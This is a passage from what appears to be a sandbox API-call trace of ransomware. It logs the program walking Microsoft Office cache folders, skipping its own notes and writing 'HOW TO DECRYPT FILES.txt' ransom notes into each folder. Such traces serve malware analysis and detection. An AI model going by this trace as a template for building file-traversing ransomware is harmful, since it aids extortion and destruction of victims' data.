ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.689] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.689] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.689] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0057.689] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.689] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.cab") returned -1 [0057.689] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.cab") returned -1 [0057.689] lstrcmpiA (lpString1="", lpString2="Proof.cab") returned -1 [0057.689] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*") returned="*.*" [0057.689] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" [0057.689] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="" [0057.689] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" [0057.689] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to decrypt files.txt")) returned 0xffffffff [0057.689] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.697] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.697] CloseHandle (hObject=0x8c) returned 1 [0057.697] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="Proof.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" [0057.698] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x4fa8b8, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0057.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.msi") returned -1 [0057.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.msi") returned -1 [0057.698] lstrcmpiA (lpString1="", lpString2="Proof.msi") returned -1 [0057.698] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned="Proof.cab" [0057.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" [0057.698] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="" [0057.698] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" [0057.698] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to decrypt files.txt")) returned 0x2020 [0057.698] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="Proof.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" [0057.698] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0057.698] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.698] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.xml") returned -1 [0057.698] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.xml") returned -1 [0057.698] lstrcmpiA (lpString1="", lpString2="Proof.xml") returned -1 [0057.698] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned="Proof.msi" [0057.698] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" [0057.699] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\") returned="" [0057.699] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" [0057.699] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\how to decrypt files.txt")) returned 0x2020 [0057.699] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\", lpString2="Proof.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" [0057.699] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0057.699] FindClose (in: hFindFile=0x4f9578 | out: hFindFile=0x4f9578) returned 1 [0057.699] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0057.699] lstrcmpA (lpString1=".", lpString2="Proof.es") returned -1 [0057.699] lstrcmpA (lpString1="..", lpString2="Proof.es") returned -1 [0057.699] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.699] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Proof.es" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es" [0057.699] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x4f9578 [0057.701] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.701] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x460000, cFileName="..", cAlternateFileName="")) returned 1 [0057.701] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.701] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.701] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0057.701] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.701] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.cab") returned -1 [0057.701] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.cab") returned -1 [0057.701] lstrcmpiA (lpString1="", lpString2="Proof.cab") returned -1 [0057.701] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*.*") returned="*.*" [0057.701] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" [0057.701] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="" [0057.701] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" [0057.701] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to decrypt files.txt")) returned 0xffffffff [0057.701] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.703] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.703] CloseHandle (hObject=0x8c) returned 1 [0057.703] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="Proof.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" [0057.704] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x4fa8b8, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0057.704] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.msi") returned -1 [0057.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.msi") returned -1 [0057.704] lstrcmpiA (lpString1="", lpString2="Proof.msi") returned -1 [0057.704] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned="Proof.cab" [0057.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" [0057.704] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="" [0057.704] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" [0057.704] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to decrypt files.txt")) returned 0x2020 [0057.704] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="Proof.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi" [0057.704] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0057.704] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.xml") returned -1 [0057.705] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.xml") returned -1 [0057.705] lstrcmpiA (lpString1="", lpString2="Proof.xml") returned -1 [0057.705] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.msi") returned="Proof.msi" [0057.705] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" [0057.705] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\") returned="" [0057.705] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" [0057.705] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\how to decrypt files.txt")) returned 0x2020 [0057.705] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\", lpString2="Proof.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" [0057.705] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x540050, dwReserved1=0x460020, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0057.705] FindClose (in: hFindFile=0x4f9578 | out: hFindFile=0x4f9578) returned 1 [0057.705] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0057.705] lstrcmpA (lpString1=".", lpString2="Proof.fr") returned -1 [0057.705] lstrcmpA (lpString1="..", lpString2="Proof.fr") returned -1 [0057.705] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.705] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\", lpString2="Proof.fr" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr") returned="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr" [0057.706] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x540050, dwReserved1=0x460020, cFileName=".", cAlternateFileName="")) returned 0x4f9578 [0057.706] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.706] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf2bda830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf30772d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf30772d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x460000, cFileName="..", cAlternateFileName="")) returned 1 [0057.706] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.706] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.706] FindNextFileA (in: hFindFile=0x4f9578, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35aa7000, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x35aa7000, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf3076b00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1416b54, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0057.706] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.706] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Proof.cab") returned -1 [0057.706] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Proof.cab") returned -1 [0057.706] lstrcmpiA (lpString1="", lpString2="Proof.cab") returned -1 [0057.706] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\*.*") returned="*.*" [0057.706] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\" | out: lpString1="C:\\MSOCache\\All 